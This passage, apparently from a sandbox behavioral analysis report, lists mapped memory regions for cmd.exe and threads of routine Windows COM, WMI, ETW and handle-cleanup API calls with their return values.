1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b360000" filename = "" Region: id = 3337 start_va = 0x1b540000 end_va = 0x1b560fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Region: id = 3338 start_va = 0x1c020000 end_va = 0x1c079fff monitored = 1 entry_point = 0x1c0353f0 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 3339 start_va = 0x1b540000 end_va = 0x1b560fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Region: id = 3340 start_va = 0x1c020000 end_va = 0x1c079fff monitored = 1 entry_point = 0x1c0353f0 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 3341 start_va = 0x1b540000 end_va = 0x1b560fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Region: id = 3342 start_va = 0x1c020000 end_va = 0x1c079fff monitored = 1 entry_point = 0x1c0353f0 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 3343 start_va = 0x1b540000 end_va = 0x1b560fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Region: id = 3344 start_va = 0x1c020000 end_va = 0x1c079fff monitored = 1 entry_point = 0x1c0353f0 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Thread: id = 31 os_tid = 0x1134 [0096.254] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0096.543] RoInitialize () returned 0x1 [0096.544] RoUninitialize () returned 0x0 [0098.759] WindowsCreateStringReference () returned 0x0 [0098.759] RoGetActivationFactory () returned 0x0 [0098.778] QueryInterface () returned 0x0 [0098.779] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0098.779] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0098.779] QueryInterface () returned 0x0 [0098.779] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::GetRuntimeClassName () returned 0x8000000e [0098.779] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0098.855] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::AddRef () returned 0x4 [0098.855] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0098.855] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0098.855] Release () returned 0x4 [0098.855] CoGetContextToken (in: pToken=0x14c6e0 | out: pToken=0x14c6e0) returned 0x0 [0098.856] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0098.856] CoGetContextToken (in: pToken=0x14c930 | out: pToken=0x14c930) returned 0x0 [0098.856] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0098.856] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x4 [0098.856] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0098.856] WindowsDeleteString () returned 0x0 [0098.856] Release () returned 0x2 [0098.857] CoGetContextToken (in: pToken=0x14d350 | out: pToken=0x14d350) returned 0x0 [0098.859] CoGetContextToken (in: pToken=0x14d250 | out: pToken=0x14d250) returned 0x0 [0098.859] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0098.859] AddRef () returned 0x4 [0098.859] Release () returned 0x3 [0098.891] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::add_TracingStatusChanged () returned 0x0 [0098.975] GenericStreamBase::Write () returned 0x0 [0098.975] GenericStreamBase::Write () returned 0x0 [0098.976] CoCreateGuid (in: pguid=0x7ffb02b4e6a0 | out: pguid=0x7ffb02b4e6a0*(Data1=0xfd8cc651, Data2=0x2e9a, Data3=0x446d, Data4=([0]=0x8b, [1]=0x4, [2]=0x28, [3]=0xa9, [4]=0x0, [5]=0xfe, [6]=0xff, [7]=0x0))) returned 0x0 [0098.976] GenericStreamBase::Write () returned 0x0 [0098.980] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0098.981] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::AddRef () returned 0x3 [0098.981] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0098.981] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0098.981] Release () returned 0x3 [0098.981] CoGetContextToken (in: pToken=0x14c490 | out: pToken=0x14c490) returned 0x0 [0098.981] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0098.982] WindowsCreateString () returned 0x0 [0098.983] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::AddRef () returned 0x4 [0098.983] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x3 [0098.983] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::get_Enabled () returned 0x0 [0098.998] EtwEventRegister () returned 0x0 [0099.002] EtwEventSetInformation () returned 0x0 [0099.005] EtwEventRegister () returned 0x0 [0099.005] EtwEventSetInformation () returned 0x0 [0099.113] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x2c6690*=0x174, lpdwindex=0x14e024 | out: lpdwindex=0x14e024) returned 0x0 [0101.169] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x2c6690*=0x174, lpdwindex=0x14e024 | out: lpdwindex=0x14e024) returned 0x0 [0101.212] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x330df0*=0x2e4, lpdwindex=0x14dd14 | out: lpdwindex=0x14dd14) returned 0x0 [0101.264] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x2c6690*=0x174, lpdwindex=0x14e024) Thread: id = 32 os_tid = 0x470 Thread: id = 33 os_tid = 0x1128 Thread: id = 34 os_tid = 0x10d4 [0096.547] CoGetContextToken (in: pToken=0x1a94f530 | out: pToken=0x1a94f530) returned 0x800401f0 [0096.548] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0096.548] RoInitialize () returned 0x1 [0096.548] RoUninitialize () returned 0x0 [0105.123] CoGetContextToken (in: pToken=0x1a94f570 | out: pToken=0x1a94f570) returned 0x0 [0105.123] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0105.123] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x1 [0105.123] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x0 [0105.125] CloseHandle (hObject=0x2fc) returned 1 [0105.125] CloseHandle (hObject=0x308) returned 1 [0105.125] CloseHandle (hObject=0x2f8) returned 1 [0105.126] CloseHandle (hObject=0x2f4) returned 1 [0105.126] CloseHandle (hObject=0x304) returned 1 [0105.126] CloseHandle (hObject=0x30c) returned 1 [0105.126] CloseHandle (hObject=0x300) returned 1 [0105.126] CloseHandle (hObject=0x2f0) returned 1 [0126.930] CoGetContextToken (in: pToken=0x1a94f570 | out: pToken=0x1a94f570) returned 0x0 [0126.930] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0126.930] WbemLocator:IUnknown:Release (This=0x33a340) returned 0x1 [0126.931] WbemLocator:IUnknown:Release (This=0x33a340) returned 0x0 [0126.931] IUnknown:Release (This=0x3111c0) returned 0x0 [0129.556] CoGetContextToken (in: pToken=0x1a94f570 | out: pToken=0x1a94f570) returned 0x0 [0129.556] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0129.556] WbemLocator:IUnknown:Release (This=0x33a660) returned 0x1 [0129.556] WbemLocator:IUnknown:Release (This=0x33a660) returned 0x0 [0129.556] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0129.556] IUnknown:Release (This=0x1b4243b0) returned 0x1 [0129.556] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0129.556] WbemLocator:IUnknown:Release (This=0x1b433150) returned 0x1 [0129.556] WbemLocator:IUnknown:Release (This=0x1b433150) returned 0x0 [0129.556] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0129.556] WbemLocator:IUnknown:Release (This=0x1b433450) returned 0x1 [0129.556] WbemLocator:IUnknown:Release (This=0x1b433450) returned 0x0 [0129.556] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0129.557] IUnknown:Release (This=0x36af20) returned 0x1 [0129.557] CoGetContextToken (in: pToken=0x1a94f570 | out: pToken=0x1a94f570) returned 0x0 [0129.557] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0129.557] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x1 [0129.557] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x0 [0129.557] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0129.557] WbemDefPath:IUnknown:Release (This=0x352d00) returned 0x1 [0129.557] WbemDefPath:IUnknown:Release (This=0x352d00) returned 0x0 [0129.557] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0129.557] WbemDefPath:IUnknown:Release (This=0x352280) returned 0x1 [0129.557] WbemDefPath:IUnknown:Release (This=0x352280) returned 0x0 [0129.557] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0129.557] WbemDefPath:IUnknown:Release (This=0x352340) returned 0x1 [0129.557] WbemDefPath:IUnknown:Release (This=0x352340) returned 0x0 [0129.557] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0129.557] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x1 [0129.557] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x0 [0129.557] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0129.557] WbemDefPath:IUnknown:Release (This=0x352c40) returned 0x1 [0129.557] WbemDefPath:IUnknown:Release (This=0x352c40) returned 0x0 [0129.558] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0129.558] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x1 [0129.558] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x0 [0129.558] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0129.558] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x1 [0129.558] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x0 [0129.558] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0129.558] WbemDefPath:IUnknown:Release (This=0x352880) returned 0x1 [0129.558] WbemDefPath:IUnknown:Release (This=0x352880) returned 0x0 [0129.558] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0129.558] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x1 [0129.558] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x0 [0129.558] IUnknown:Release (This=0x1b4426a0) returned 0x0 [0129.559] IUnknown:Release (This=0x1b441ed0) returned 0x0 [0129.582] IUnknown:Release (This=0x1b432c20) returned 0x0 [0129.583] IUnknown:Release (This=0x1b3dde30) returned 0x0 [0129.583] IUnknown:Release (This=0x1b431060) returned 0x0 [0129.583] IUnknown:Release (This=0x1b430890) returned 0x0 [0131.528] CoGetContextToken (in: pToken=0x1a94f570 | out: pToken=0x1a94f570) returned 0x0 [0131.528] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0131.528] WbemLocator:IUnknown:Release (This=0x1b433d30) returned 0x1 [0131.528] WbemLocator:IUnknown:Release (This=0x1b433d30) returned 0x0 [0131.528] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0131.528] WbemLocator:IUnknown:Release (This=0x1b441d88) returned 0x1 [0131.528] WbemLocator:IUnknown:Release (This=0x1b4032d0) returned 0x0 [0131.530] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0131.530] WbemLocator:IUnknown:Release (This=0x1b433770) returned 0x1 [0131.530] WbemLocator:IUnknown:Release (This=0x1b433770) returned 0x0 [0131.530] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0131.530] IUnknown:Release (This=0x1b442160) returned 0x1 [0131.530] CoGetContextToken (in: pToken=0x1a94f570 | out: pToken=0x1a94f570) returned 0x0 [0131.530] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0131.530] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x1 [0131.530] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x0 [0131.531] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0131.531] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x1 [0131.531] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x0 [0131.531] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0131.531] WbemDefPath:IUnknown:Release (This=0x352c40) returned 0x1 [0131.531] WbemDefPath:IUnknown:Release (This=0x352c40) returned 0x0 [0131.531] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0131.531] WbemDefPath:IUnknown:Release (This=0x352340) returned 0x1 [0131.531] WbemDefPath:IUnknown:Release (This=0x352340) returned 0x0 [0131.531] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0131.531] WbemDefPath:IUnknown:Release (This=0x351680) returned 0x1 [0131.531] WbemDefPath:IUnknown:Release (This=0x351680) returned 0x0 [0131.531] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0131.531] WbemDefPath:IUnknown:Release (This=0x351440) returned 0x1 [0131.531] WbemDefPath:IUnknown:Release (This=0x351440) returned 0x0 [0131.531] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0131.531] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x1 [0131.531] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x0 [0131.531] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0131.531] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x1 [0131.531] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x0 [0131.531] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0131.531] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x1 [0131.531] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x0 [0131.561] IUnknown:Release (This=0x1b450e00) returned 0x0 [0131.561] IUnknown:Release (This=0x1b432bc0) returned 0x0 [0131.561] IUnknown:Release (This=0x1b44f230) returned 0x0 [0131.561] IUnknown:Release (This=0x1b44ea60) returned 0x0 [0131.561] IUnknown:Release (This=0x1b4321a0) returned 0x0 [0131.561] IUnknown:Release (This=0x1b431e30) returned 0x0 [0131.561] IUnknown:Release (This=0x1b442160) returned 0x0 [0131.561] IUnknown:Release (This=0x1b3dde30) returned 0x0 [0133.674] CoGetContextToken (in: pToken=0x1a94f570 | out: pToken=0x1a94f570) returned 0x0 [0133.674] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0133.675] WbemLocator:IUnknown:Release (This=0x1b4334d0) returned 0x1 [0133.675] WbemLocator:IUnknown:Release (This=0x1b4334d0) returned 0x0 [0133.675] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0133.675] WbemLocator:IUnknown:Release (This=0x1b3ddf58) returned 0x1 [0133.675] WbemLocator:IUnknown:Release (This=0x1b3e26b0) returned 0x0 [0133.676] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0133.676] WbemLocator:IUnknown:Release (This=0x1b433cd0) returned 0x1 [0133.676] WbemLocator:IUnknown:Release (This=0x1b433cd0) returned 0x0 [0133.676] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0133.676] IUnknown:Release (This=0x1b441b80) returned 0x1 [0133.676] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0133.676] WbemLocator:IUnknown:Release (This=0x1b449a00) returned 0x1 [0133.676] WbemLocator:IUnknown:Release (This=0x1b449a00) returned 0x0 [0133.676] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0133.676] WbemLocator:IUnknown:Release (This=0x1b44a500) returned 0x1 [0133.676] WbemLocator:IUnknown:Release (This=0x1b44a500) returned 0x0 [0133.676] CoGetContextToken (in: pToken=0x1a94f570 | out: pToken=0x1a94f570) returned 0x0 [0133.676] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0133.676] WbemDefPath:IUnknown:Release (This=0x351500) returned 0x1 [0133.676] WbemDefPath:IUnknown:Release (This=0x351500) returned 0x0 [0133.676] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0133.676] WbemDefPath:IUnknown:Release (This=0x352880) returned 0x1 [0133.676] WbemDefPath:IUnknown:Release (This=0x352880) returned 0x0 [0133.676] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0133.676] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x1 [0133.676] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x0 [0133.676] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0133.676] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x1 [0133.676] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x0 [0133.676] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0133.676] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x1 [0133.676] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x0 [0133.677] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0133.677] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x1 [0133.677] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x0 [0133.677] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0133.677] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x1 [0133.677] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x0 [0133.677] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0133.677] WbemDefPath:IUnknown:Release (This=0x351440) returned 0x1 [0133.677] WbemDefPath:IUnknown:Release (This=0x351440) returned 0x0 [0133.677] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0133.677] WbemDefPath:IUnknown:Release (This=0x351680) returned 0x1 [0133.677] WbemDefPath:IUnknown:Release (This=0x351680) returned 0x0 [0133.677] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0133.677] WbemDefPath:IUnknown:Release (This=0x352d00) returned 0x1 [0133.677] WbemDefPath:IUnknown:Release (This=0x352d00) returned 0x0 [0133.694] IUnknown:Release (This=0x1b452140) returned 0x0 [0133.694] IUnknown:Release (This=0x1b432be0) returned 0x0 [0133.695] IUnknown:Release (This=0x1b450580) returned 0x0 [0133.695] IUnknown:Release (This=0x1b432870) returned 0x0 [0133.695] IUnknown:Release (This=0x1b432500) returned 0x0 [0133.695] IUnknown:Release (This=0x1b432190) returned 0x0 [0133.695] IUnknown:Release (This=0x1b441b80) returned 0x0 [0136.263] CoGetContextToken (in: pToken=0x1a94f570 | out: pToken=0x1a94f570) returned 0x0 [0136.263] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0136.263] WbemLocator:IUnknown:Release (This=0x1b4337d0) returned 0x1 [0136.263] WbemLocator:IUnknown:Release (This=0x1b4337d0) returned 0x0 [0136.263] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0136.263] WbemLocator:IUnknown:Release (This=0x1b459538) returned 0x1 [0136.263] WbemLocator:IUnknown:Release (This=0x1b3e2a10) returned 0x0 [0136.265] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0136.265] WbemLocator:IUnknown:Release (This=0x1b433bf0) returned 0x1 [0136.265] WbemLocator:IUnknown:Release (This=0x1b433bf0) returned 0x0 [0136.265] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0136.265] IUnknown:Release (This=0x1b453800) returned 0x1 [0136.265] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0136.265] IUnknown:Release (This=0x1b451ac0) returned 0x1 [0136.265] CoGetContextToken (in: pToken=0x1a94f570 | out: pToken=0x1a94f570) returned 0x0 [0136.265] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0136.266] WbemDefPath:IUnknown:Release (This=0x352880) returned 0x1 [0136.266] WbemDefPath:IUnknown:Release (This=0x352880) returned 0x0 [0136.266] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0136.266] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x1 [0136.266] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x0 [0136.266] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0136.266] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x1 [0136.266] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x0 [0136.266] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0136.266] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x1 [0136.266] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x0 [0136.266] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0136.266] WbemDefPath:IUnknown:Release (This=0x352d00) returned 0x1 [0136.266] WbemDefPath:IUnknown:Release (This=0x352d00) returned 0x0 [0136.266] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0136.266] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x1 [0136.266] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x0 [0136.266] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0136.266] WbemDefPath:IUnknown:Release (This=0x351500) returned 0x1 [0136.266] WbemDefPath:IUnknown:Release (This=0x351500) returned 0x0 [0136.267] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0136.267] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x1 [0136.267] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x0 [0136.267] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0136.267] WbemDefPath:IUnknown:Release (This=0x1b455e70) returned 0x1 [0136.267] WbemDefPath:IUnknown:Release (This=0x1b455e70) returned 0x0 [0136.267] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0136.267] WbemDefPath:IUnknown:Release (This=0x1b455330) returned 0x1 [0136.267] WbemDefPath:IUnknown:Release (This=0x1b455330) returned 0x0 [0136.267] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0136.267] WbemDefPath:IUnknown:Release (This=0x1b4554b0) returned 0x1 [0136.267] WbemDefPath:IUnknown:Release (This=0x1b4554b0) returned 0x0 [0136.267] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0136.267] WbemDefPath:IUnknown:Release (This=0x1b455b70) returned 0x1 [0136.267] WbemDefPath:IUnknown:Release (This=0x1b455b70) returned 0x0 [0136.267] CoGetContextToken (in: pToken=0x1a94f470 | out: pToken=0x1a94f470) returned 0x0 [0136.267] WbemDefPath:IUnknown:Release (This=0x1b455c30) returned 0x1 [0136.267] WbemDefPath:IUnknown:Release (This=0x1b455c30) returned 0x0 [0136.287] IUnknown:Release (This=0x1b46a1c0) returned 0x0 [0136.287] IUnknown:Release (This=0x1b432bd0) returned 0x0 [0136.287] IUnknown:Release (This=0x1b469a10) returned 0x0 [0136.287] IUnknown:Release (This=0x1b469240) returned 0x0 [0136.287] IUnknown:Release (This=0x1b432860) returned 0x0 [0136.287] IUnknown:Release (This=0x1b4324f0) returned 0x0 [0136.288] IUnknown:Release (This=0x1b451ac0) returned 0x0 [0136.288] IUnknown:Release (This=0x1b4319a0) returned 0x0 [0136.288] IUnknown:Release (This=0x1b3dde30) returned 0x0 [0136.288] IUnknown:Release (This=0x1b4311f0) returned 0x0 [0136.288] IUnknown:Release (This=0x1b458cf0) returned 0x0 [0138.190] CloseHandle (hObject=0x4d4) returned 1 [0138.190] CloseHandle (hObject=0x308) returned 1 [0138.301] EtwEventUnregister () returned 0x0 [0138.301] EtwEventUnregister () returned 0x0 [0138.331] IUnknown:Release (This=0x1b458980) returned 0x0 [0138.331] IUnknown:Release (This=0x1b441b80) returned 0x0 [0138.332] IUnknown:Release (This=0x1b453800) returned 0x0 [0138.339] IUnknown:Release (This=0x1b42a640) returned 0x0 [0138.339] IUnknown:Release (This=0x1b4243b0) returned 0x0 [0138.340] IUnknown:Release (This=0x36af20) returned 0x0 [0138.340] IUnknown:Release (This=0x1b442a10) returned 0x0 [0138.340] IUnknown:Release (This=0x1b4414b0) returned 0x0 [0138.343] IUnknown:Release (This=0x1b42fe70) returned 0x0 [0138.343] IUnknown:Release (This=0x36b790) returned 0x0 [0138.362] CloseHandle (hObject=0x3fc) returned 1 [0138.363] UnmapViewOfFile (lpBaseAddress=0x1b240000) returned 1 [0138.364] CloseHandle (hObject=0x300) returned 1 [0138.364] CloseHandle (hObject=0x2ec) returned 1 [0138.364] CloseHandle (hObject=0x2e8) returned 1 [0138.365] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 [0138.365] CloseHandle (hObject=0x414) returned 1 [0138.366] CloseHandle (hObject=0x6c8) returned 1 [0138.366] CloseHandle (hObject=0x2f8) returned 1 [0138.368] CoGetContextToken (in: pToken=0x1a94ef20 | out: pToken=0x1a94ef20) returned 0x0 [0138.368] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.368] WbemDefPath:IUnknown:Release (This=0x3512c0) returned 0x1 [0138.368] WbemDefPath:IUnknown:Release (This=0x3512c0) returned 0x0 [0138.368] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.368] WbemDefPath:IUnknown:Release (This=0x351bc0) returned 0x1 [0138.368] WbemDefPath:IUnknown:Release (This=0x351bc0) returned 0x0 [0138.368] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.368] WbemDefPath:IUnknown:Release (This=0x351200) returned 0x1 [0138.368] WbemDefPath:IUnknown:Release (This=0x351200) returned 0x0 [0138.369] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.369] WbemDefPath:IUnknown:Release (This=0x1b455ab0) returned 0x1 [0138.369] WbemDefPath:IUnknown:Release (This=0x1b455ab0) returned 0x0 [0138.369] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.369] WbemDefPath:IUnknown:Release (This=0x351680) returned 0x1 [0138.369] WbemDefPath:IUnknown:Release (This=0x351680) returned 0x0 [0138.369] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.369] WbemDefPath:IUnknown:Release (This=0x3524c0) returned 0x1 [0138.369] WbemDefPath:IUnknown:Release (This=0x3524c0) returned 0x0 [0138.369] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.369] WbemDefPath:IUnknown:Release (This=0x3515c0) returned 0x1 [0138.369] WbemDefPath:IUnknown:Release (This=0x3515c0) returned 0x0 [0138.370] CoGetContextToken (in: 